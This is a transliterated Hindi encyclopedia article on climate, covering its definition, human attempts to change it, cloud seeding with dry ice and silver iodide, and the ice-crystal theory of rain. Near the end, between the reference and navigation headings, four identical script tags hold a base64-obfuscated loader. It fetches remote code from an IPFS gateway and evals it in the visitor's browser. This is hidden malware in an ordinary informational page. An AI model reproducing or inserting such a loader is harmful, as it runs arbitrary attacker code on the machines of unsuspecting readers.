जलवायु
jalavayu (aangrezi: Climate) kritrim kisi sthan ki 30 varsh ya isase bhi adhik samay ke rritu vaijnanik tatvoan ki samany avasthaoan ka nam jalavayu hai. yah samay jitana hi adhik hoga, us sthan ke jalavayu ke sanbandh mean, ye samany man bhi utane hi adhik niroopak hoange. is sanbandh mean vicharaniy rritu vaijnanik tatv dab, tap, ardrata, badali, avakshepan, pavan, dhoop aur drishyata haian. jalavayu ka nishchay karane ke liye kuchh tatvoan ke charam man tatha mahine ya sal mean in tatvoan ke kuchh vishisht parasoan[1] ki avritti ka bhi dhyan rakha jata hai.
- udaharanarth
kisi sthan ka uchchatam aur nimnatam tap tatha alag-alag mahinoan mean varsha ke dinoan ki avritti mahatv ki batean haian. is vivechan se yah spasht hai ki kisi sthan ki jalavayu mean kritrim parivartan ka dena yadi asanbhav nahian, to atyant kathin avashy hai, yadyapi dharati par jalavayu ke naisargik parivartan ke udaharan kam nahian hai.[2]
vijnan aur praudyogiki
vijnan aur praudyogiki [3] ke vikas ke sath hi vishv ke bhinn-bhinn sthanoan par jalavayu ke kritrim parivartan ke liye manushy prayatnashil hua hai, kahian marubhoomi ko apekshakrit upajaoo khand mean parinat kiya ja raha hai aur kahian nam dharati ko shushk banaya ja raha hai. ab saval yah uthata hai ki jalavayu ko gathit karane vali naisargik vayumandaliy ghatanaoan ka niyantran kis prakar ho sake. yah bat to suvidit hai ki kisi kshetr ki rritu vaijnanik ghatana aur vayumandal ke pradhan tatha gaun parisancharan mean bahut nikat ka sanbandh hai. ye parisancharan bhinn mausam mean bhinnata pradarshit karate haian, jisake karan ek sthan aur doosare sthan ki ghatanaoan mean bhinnata hoti hai. jab tak in parisancharanoan ko samany banavat mean kaee parivartan n kiya jay, mausam ki ghatana mean koee mukhy parivartan sanbhav nahian hai. lekin is prakar ke parivartan ke liye lakhoan paramanu bamoan ki sammilit oorja ki avashyakata hai, at: is samasya ke samadhan ke sanbandh mean vaijnanikoan ne koee ganbhir prayatn nahian kiya hai. badaloan ke kritrim vapan [4] dvara kisi sthan ki ardrata aur varsha mean kritrim vriddhi karane ka prayatn vaijnanikoan ne kiya hai.[2]
varsha mean vriddhi
kisi sthan par badaloan ka bij vapan adhik samay tak karane par vahaan varsha ki matra mean vriddhi hoti hai. shushk katibandh mean varsha ki vriddhi hone par paudhe aur vriksh badhane lagate haian aur is prakar van sanvardhan hone par varsha mean aur vriddhi ho sakati hai. isake viparit manushyakrit vanakataee ke karan varsha aur ardrata mean hras hua hai. bharat jaise desh mean desh ke oopar se gujarane vale toofanoan aur hava mean dabav ke hras ke prabhav se varsha hua karati hai. b de b de van gatiman toofan aur hava mean dabav ke hras ka gatirodh karate haian, jisase vahaan aur nikat ke kshetroan mean badali aur varsha mean vriddhi hoti hai.
kritrim varsha
kritrim varsha rochak prakriya hai, jisane hal hi mean sansar ke bahut se bhagoan ki janata ka dhyan akarshit kiya hai. bahut ooanche thandhe badaloan ka vapan karane ke liye shushkahim ki kshudr gutikaoan ya silvar ayodaid ke manibhoan ka upayog kiya jata hai, jo badaloan ko uddipt karake varsha utpann karate haian. shushk him un ooanchaiyoan par karagar hota paya gaya hai, jahaan tap 0°c se lekar 15°c tak hota hai aur silvar ayodaid ka karyakshetr 10°c se lekar 15°c ke bich simit hai.[2]
avakshepan ka himamanibh siddhaant
ushn katibandh mean garam badaloan ka vapan mahatv ki bat hai, kyoanki vahaan badaloan ke himastar tak n pahuanchane ke udaharan hi adhik haian, himastar se niche utarane ke bahut kam, garam badaloan ka vapan unake adhar par jal biandu ke chhi dakav se hota hai. kahian-kahian badaloan mean him shitajal ki phuhar se tapaantar ke karan utpann satatajaman ke karan sammilan[5] dvara jal bianduoan ki vriddhi suvyakt ki jati hai. garam badaloan ka vapan karake varsha utpann karana jal bianduoan ke sammilan ki prakriya hai, jabaki poorvavarnit thande badaloan ke vapan dvara varsha hona prasiddh 'avakshepan ke himamanibh siddhaant' ko siddh karata hai. amarika, aaustreliya, bharat adi deshoan mean kritrim varsha ke prayatn hue haian aur adhikatar prayatn saphal rahe haian. yah dekhana rah gaya hai ki is disha mean anavarat kriya karake kisi sthan ke jalavayu ka kritrim parivartan ho sakata hai ya nahian.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>